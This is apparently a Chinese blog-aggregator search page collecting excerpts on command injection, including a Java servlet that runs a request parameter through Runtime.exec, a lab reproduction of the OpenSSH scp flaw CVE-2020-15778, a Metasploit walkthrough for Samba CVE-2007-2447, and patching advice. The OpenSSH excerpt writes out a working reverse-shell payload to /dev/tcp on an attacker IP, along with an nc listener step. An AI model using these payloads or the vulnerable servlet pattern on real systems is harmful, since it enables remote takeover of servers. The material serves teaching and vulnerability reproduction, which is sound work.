精华内容
下载资源
问答
  • 命令注入漏洞

    2021-10-06 11:44:10
    命令注入漏洞原理示例代码命令注入的局限无法进行命令注入的原因 原理 命令注入是指在某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时,则有可能发生命令...

    原理

    命令注入是指在某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时,则有可能发生命令注入。攻击者可以使用命令注入来执行系统终端命令,直接接管服务器的控制权限。

    在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令。Java的Runtime类可以提供调用系统命令的功能。如下代码可根据用户输入的指令执行系统命令。由于cmd参数可控,用户可以在服务器上执行任意系统命令,相当于获得了服务器权限。

    示例代码

    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Proxy;
    
    
    @WebServlet(name="Command",urlPatterns = "/Command")
    public class Command extends HttpServlet {
    
        @Override
        public void init() throws ServletException{
    
        }
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    
            String cmd = req.getParameter("cmd");
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream in = process.getInputStream();
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int i = -1;
            while ((i = in.read(b))!=-1){
                byteArrayOutputStream.write(b,0,i);
            }
            PrintWriter out = resp.getWriter();
            out.print(byteArrayOutputStream.toString());
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            this.doGet(req,resp);
        }
    
        @Override
        public void destroy() {
            super.destroy();
        }
    }
    

    命令注入的执行结果如图
    在这里插入图片描述

    命令注入的局限

    系统命令支持使用连接符来执行多条语句,常见的连接符有|、||、&、&&,其含义为

    符号含义
    |前面命令输出结果作为后面命令的输入内容
    ||前面命令执行失败时才执行后面的命令
    &前面命令执行后继续执行后面的命令
    &&前面命令执行成功后才执行后面的命令

    例如命令ping www.baidu.com&ipconfig的执行效果如图所示,先执行完ping命令,后执行ipconfig命令
    在这里插入图片描述
    对于Java环境中的命令注入,连接符的使用存在一些局限。例如如下代码,利用ping命令来诊断网络。其中url参数为用户可控,当恶意用户输入www.baidu.com&ipconfig时,系统可以成功执行,但是Java运行环境中就不行,因为www.baidu.com&ipconfig被当作一个完整的字符串而非两条命令,因此如下代码不存在命令执行漏洞。

    protected ByteArrayOutputStream ping(String url) throws IOException{
    	Process process = Runtime.getRuntime().exec("ping " + url);
    	InputStream in = process.getInputStream();
    	ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    	byte[] b = new byte[1024];
    	int i = -1;
    	while((i = in.read(b)) != -1){
    		byteArrayOutputStream.write(b,0,i);
    	}
    	return byteArrayOutputStream;
    }
    

    无法进行命令注入的原因

    Runtime类中exec方法存在如下几种实现,显而易见,要执行的命令可以通过字符串和数组的方式传入。

    public Process exec(String command) throws IOException {
            return exec(command, null, null);
        }
    public Process exec(String command, String[] envp) throws IOException {
            return exec(command, envp, null);
        }
    public Process exec(String cmdarray[]) throws IOException {
            return exec(cmdarray, null, null);
        }
    public Process exec(String[] cmdarray, String[] envp, File dir)
            throws IOException {
            return new ProcessBuilder(cmdarray)
                .environment(envp)
                .directory(dir)
                .start();
        }
    

    当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令。经过处理后的参数www.baidu.com&ipconfig成为ping命令的参数,因此此时的连接符&并不生效,从而无法注入系统命令。

    展开全文
  • OpenSSH命令注入漏洞 漏洞编号 CVE-2020-15778 漏洞描述 OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。 该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许...

    漏洞名称

    • OpenSSH命令注入漏洞

    漏洞编号

    • CVE-2020-15778

    漏洞描述

    • OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。

    • 该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。

    • 攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

    OpenSSH简介

    • OpenSSH是 SSH(Secure SHell) 协议的免费开源实现。

    • SSH协议族可以用来进行远程控制,或在计算机之间传送文件。

    • 而实现此功能的传统方式,如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。

    • OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

    scp命令简介

    • scp 是安全拷贝协议(Secure Copy Protocol)的缩写,和众多Linux/Unix 使用者所熟知的拷贝(cp)命令一样。

    • scp的使用方式类似于cp 命令,cp命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),

    • 而scp用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。

    • scp一些基本参数如下:

    -B 采取批量模式(避免询问密码或口令)
    -C 启用压缩,通过指明-C参数来开启压缩模式。
    -c 加密方式,选择在传输过程中用来加密的加密方式 这个选项会被直接传递到ssh。
    -F ssh配置,给ssh指定一个用来替代默认配置的配置文件。这个选项会被直接传递到ssh。
    -l 限速,限制命令使用的带宽,默认单位是 Kbit/s。
    -P 端口,指定需要的连接的远程主机的端口。
    注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(ssh命令中使用小写的“-p”来指定目标端口。)
    -p 保留文件原来的修改时间,访问时间以及权限模式。
    -q 静默模式:不显示来自ssh命令的进度信息,警告和诊断信息。
    -r 递归拷贝整个目录。
    注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。
    -v 详细模式。scp和ssh将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。
    

    影响版本

    • Openssh <=8.3p1

    漏洞分析

    使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
    scp Filename user@host:directory/Filename
    在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:
    scp -t directory/Filename
    在这里插入图片描述

    问题就存在这个地方,也就是如图"scp.c"文件的991行。这个地方未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

    实验环境

    * scp是secure copy的缩写。
    
    * 在linux系统中,scp用于linux之间复制文件和目录,基于ssh登陆进行安全的远程文件拷贝命令。
    
    * 该命令由openssh的scp.c及其他相关代码实现,通过scp进行反弹shell的操作。
    

    确定目标机器是否存在漏洞,测试ssh与scp的使用情况

    第一步 目标机器查看ssh版本,是否在OpenSSH 8.3p1及之前
    ssh -V
    

    在这里插入图片描述

    第二步 攻击机器测试ssh与scp的使用情况
    vim test.txt
    scp test.txt ubuntu@192.168.232.183 :/tmp/test.txt
    cat /tmp/test.txt
    

    在这里插入图片描述

    第三步 查看是否成功上传文件
    cat /tmp/test.tx
    scp shell.sh ubuntu@192.168.232.183:/tmp/shell.sh
    

    在这里插入图片描述

    复现步骤(使用scp进行反弹shell的操作)

    在这里插入图片描述

    方法一: 直接写入反弹shell

    • ubuntu :192.168.232.183
    • kali:192.168.232.195
    scp shell.sh  ubuntu@192.168.232.183:'`/bin/bash -i >& /dev/tcp/192.168.232.195/9999 0>&1` /tmp/shell.txt'  #复制当前目录下的shell.sh到目标主机的/tmp/shell.txt,并执行/bin/bash -i >& /dev/tcp/192.168.232.195/9999 0>&1 命令
    

    在这里插入图片描述
    在这里插入图片描述

    方法二 反弹shell

    • 靶机:centos 10.1.1.200
    • kali: 10.1.1.100
    第一步 首先在攻击机上创建一个linux的可执行的文件,并写入一个反弹shell的命令

    cat qwe.sh
    在这里插入图片描述

    第二步 使用scp命令,把该文件上传到目标机器的/tmp下,在tmp录下任何用户都是拥有读、写、执行的权限

    scp qwe.sh root@10.1.1.200:/tmp/qwe.sh
    在这里插入图片描述

    第三步 在kali上开启监听

    nc -lvvp 8888
    在这里插入图片描述

    第四步使用poc远程执行命令
    scp qwe.sh root@目标地址:'`sh /tmp/qwesh`'
    

    在这里插入图片描述

    第五步 shell已经弹回来了

    在这里插入图片描述

    修复建议

    方式一:升级版本

    • Linux升级OpenSSH修复高危漏洞
    • Ubuntu进行openssh漏洞修复

    方式二 :打补丁

    官方补丁
    https://www.openssh.com/

    方式三:临时修复

    • 1、加强ssh密码或密钥的保护,周期性更换密码或密钥
    • 2、 使用rsync代替scp

    摘抄

    晚风忽闻少年梦,童真快乐且逍遥。
    风华此去别经年,一首《少年》入梦来。
    两行清泪湿脸颊,却叹少年留不住。

    展开全文
  • Linux kernel本地命令注入漏洞2005-10-19eNet&CiweekLinux kernel 2.2.6Linux kernel 2.2.5Linux kernel 2.2.4Linux kernel 2.2.3Linux kernel 2.2.2Linux kernel 2.2.1Linux kernel 2.2 .x+ RedHat Linux 6.2 ...

    Linux kernel本地命令注入漏洞

    2005-10-19

    eNet&Ciweek

    Linux kernel 2.2.6

    Linux kernel 2.2.5

    Linux kernel 2.2.4

    Linux kernel 2.2.3

    Linux kernel 2.2.2

    Linux kernel 2.2.1

    Linux kernel 2.2 .x

    + RedHat Linux 6.2 alpha

    + RedHat Linux 6.2 i386

    + RedHat Linux 6.2 sparc

    Linux kernel 2.2

    Linux kernel 2.1.89

    Linux kernel 2.1 .x

    Linux kernel 2.1

    Linux kernel 2.0.39

    Linux kernel 2.0.38

    Linux kernel 2.0.37

    Linux kernel 2.0.36

    Linux kernel 2.0.35

    Linux kernel 2.0.34

    Linux kernel 2.0.33

    Linux kernel 2.0.32

    Linux kernel 2.0.31

    Linux kernel 2.0.30

    Linux kernel 2.0.29

    Linux kernel 2.0.28

    危害

    本地攻击者可以利用漏洞提升特权,获得ROOT的权限。

    攻击所需条件

    攻击者必须访问Linux kernel。

    漏洞信息

    Linux kernel是一款开放源代码操作系统。

    Linux kernel允许任何用户使用loadkeys,本地攻击者可以利用漏洞提升特权,获得ROOT的权限。

    非non-suid命令"loadkeys"可以被任意本地可控制台访问的用户使用,本地用户可以修改控制台KEYMAP来包含脚本化宏命令,导致攻击者通过写/etc/passwd行等方法获得ROOT权限。

    测试方法:

    loadkeys

    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=334113

    漏洞消息标题

    linux-image-2.6.12-1-powerpc: kernel allows loadkeys to be used by any user, allowing for local root compromise

    c3e667f7e5ce5e17d471e602488fef4e.png

    您对本文或本站有任何意见,请在下方提交,谢谢!

    展开全文
  • Samba MS-RPC Shell 命令注入漏洞(CVE-2007-2447)描述 Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。 该软件支持共享打印机、互相传输资料文件等。...

    Samba MS-RPC Shell 命令注入漏洞(CVE-2007-2447)描述

    • Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。
    • 该软件支持共享打印机、互相传输资料文件等。
    • Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
    • Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。
    • 如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

    原理

    • usermap_script:CVE-2007-2447
    • Samba用户名映射脚本命令执行
    • 传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,
    • 在smb.conf中,导致允许远程命令执行。

    影响版本

    • Samba版本3.0.20到3.0.25rc3当使用非默认用户名映射脚本配置选项。
    • 通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。
    • 不需要身份验证来利用此漏洞,因为此选项用于在身份验证之前映射用户名

    漏洞利用

    第一步 ,启动metasploit
    msfconsole
    

    在这里插入图片描述

    第二步选择漏洞库
    search samba
    Use exploit/multi/samba/usermap_script
    

    在这里插入图片描述

    第三步 设置参数,开始攻击
    show options
    Set RHOST 192.168.160.131 设置要攻击的机器IP
    exploit
    

    在这里插入图片描述
    在这里插入图片描述

    第四步 利用成功,执行uname –a 验证
    进入交付模式
     python -c ‘import pty;pty.spawn("/bin/sh")

    在这里插入图片描述

    摘抄


    不要回首,往前看,

    只有这样,生活才会揭示在我们眼前。

    – 小野洋子


    展开全文
  • 漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,...
  • OpenSSH 命令注入漏洞(CVE-2020-15778)修复 详细描述: OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效...
  • 0x00 简介 Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的...Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payloa
  • 文章目录注入SQL注入JDBC拼接不当造成SQL注入框架使用不当造成SQL注入不安全的反射命令注入代码注入表达式注入Spel表达式注入OGNL表达式注入模板注入 注入 SQL注入 JDBC拼接不当造成SQL注入 JDBC有两种方法执行SQL...
  • OpenSSH_8.3及如下-命令注入漏洞攻击与修复 漏洞:CVE-2020-15778 2020年6月9日发现漏洞,2020年7月18日公开漏洞。web 攻击原理 使用SCP中远程功能进行命令注入。shell 漏洞复现要求 OpenSSH版本 =<8.3p1安全 ssh...
  • 华域Reporter命令注入漏洞

    千次阅读 2021-09-13 15:01:16
    该组件的设备较多,多用于上网行为管理设备的报表系统,该漏洞利用难度低,影响范围较广,无需登录可直接以root权限执行任意命令,从而控制该设备,进而控制内网其它服务器和终端设备,该设备一旦被控制,可能会影响...
  • Node.js命令注入漏洞(CVE-2021-21315)复现

    千次阅读 2021-04-09 14:20:44
    简介 Node.js-systeminformation是用于获取各种系统信息的Node.JS模块...这里用node10.16.0进行测试 源码下载 git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git nodejs开启http...
  • OpenSSH 命令注入漏洞(CVE-2020-15778) CVE编号: CVE-2020-15778 发布时间: 2020-07-24 危害等级: 高危 漏洞版本:<= openssh-8.3p1 漏洞描述: OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令...
  • run跑起来 由于上面我们一直知道DVWA的Command Injection中可以命令拼接,也就是存在命令执行漏洞,run之后的target machine给到的一个Python开头这一串东西就是用于命令注入的payload。 这里要注意一下,既然我们...
  • OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码,OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效...
  • 建议使用以下措施防范SQL注入漏洞:对于开发========使用以下建议编写不受SQL注入***影响的web应用。参数化查询:SQL注入源于***者控制查询数据以修改查询逻辑,因此防范SQL注入***的最佳方式就是将查询的逻辑与其...
  • 最近关注了Cisco的一个命令注入漏洞CVE-2021-1414,命令注入之后可导致远程代码执行: 漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中,当前最新版本V1.0.03.21已修复了此漏洞。RV340系列路由器可为小型...
  • 1 简介 OpenSSH是SSH(SecureSHell)协议的免费开源实现。...OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。 漏洞等.
  • Sql注入测试一定要使用工具。原因一:工作效率;原因二:人工很难构造出覆盖面广的盲注入的sql语句。例如当一个查询的where字句包含了多个参数,or and的关系比较多时,简单的or 1=1, and 1=2是很难发现注入点的。...
  • 命令注入:是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的...命令注入漏洞主要表现为以下两种形式:1、攻击者能够算改程序执行的命令:攻击者直接控制了所执行的命令。2、攻击者能够复改命...
  • DVWA之命令注入漏洞(Command injection)

    千次阅读 2021-03-10 18:34:51
    、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行(注入漏洞。...
  • PHP命令注入***

    2021-04-23 08:51:03
    PHP命令注入***漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。本文描述了常见的PHP命令注入***漏洞存在形式和利用方法,结合漏洞实例进行分析和漏洞利用...
  • 文章目录Smaba 远程shell命令注入 (username map script)一、漏洞描述二、漏洞利用过程二、漏洞实验步骤 一、漏洞描述 漏洞编号 CVE-2007-2447 披露时间 2007-05-14 “username map script”是Samba协议的远程...
  • openSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码。 OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效...
  • web漏洞命令注入

    2021-04-08 09:58:23
    命令注入与远程代码执行(RCE)不一样。它们的区别是 ,通过RCE,执行的是代码 ;而在命令注入的时 ,执行的是一个(OS)命令。 漏洞成因 将用户输入作为拼接 没有对用户输入过滤 漏洞危害 继承Web服务器
  • sqlmap检测sql注入漏洞

    2021-09-28 08:03:31
    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问...
  • 8种机械键盘轴体对比本人程序员,要买一个写...通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。在Web应用中,有时候会用到一些命令执行的函数,如ph...
  • 不过下面可是我们开发产品初期的一些血淋淋的案例,更多的安全威胁可以看看北北同学的《python hack》PPT,里面提及了不只命令执行的威胁,那些都是我们亲身经历的代码。千万要记得执行命令的时候,不要信任其他传入...
  • 介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤。CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335。由于Apache Tika是开源的,我能够通过分析Apache Tika代码来确定问题。虽然命令注入...
  • Author: niubl(知道创宇404安全实验室)Date: 2016-05-07一、漏洞概要i....我发现当用户传入一个包含|竖线的文件名的时候,就有可能触发命令注入漏洞。ii. 漏洞影响测试:ImageMagick-7.0.1-2.tar.bz2iii...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 24,861
精华内容 9,944
关键字:

命令注入漏洞检测